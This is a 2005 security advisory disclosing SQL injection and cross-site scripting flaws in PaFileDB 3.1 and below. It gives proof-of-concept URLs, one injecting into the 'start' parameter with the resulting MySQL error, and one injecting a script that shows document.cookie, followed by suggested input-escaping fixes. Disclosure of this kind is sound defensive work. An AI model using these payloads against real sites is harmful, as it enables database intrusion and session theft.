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Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/
Severity: Medium
Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL
injection vulnerability
Date: 31/03/2005
Vendor: PhpArena
Vendor Website: http://www.phparena.net/pafiledb.php
Vendor Status: Contacted but no response
Summary: There are, pafiledb version 3.1 and below are exploitable via a xss
and a sql injection vulnerability.
Proof of Concept Exploits:
http://localhost/pafiledb/pafiledb.php?action=viewall&id=&start='SQL_INJECTION&sortby=name
SQL INJECTION
paFileDB was unable to successfully run a MySQL query.
MySQL Returned this error: You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server version for the right
syntax to use near '\'SQL_INJECTION,20' at line 1 Error number: 1064
The query that caused this error was: SELECT * FROM pafiledb_files WHERE
file_pin = '0' ORDER BY file_name ASC LIMIT \'SQL_INJECTION,20
http://localhost/pafiledb/pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(),
mysql_escape_string(), mysql_real_escape_string() and other functions for input
validation before passing user input to the mysql database, or before echoing
data on the screen, would solve these problems.
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me
regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout
for my soon to come out book on Secure coding with php.
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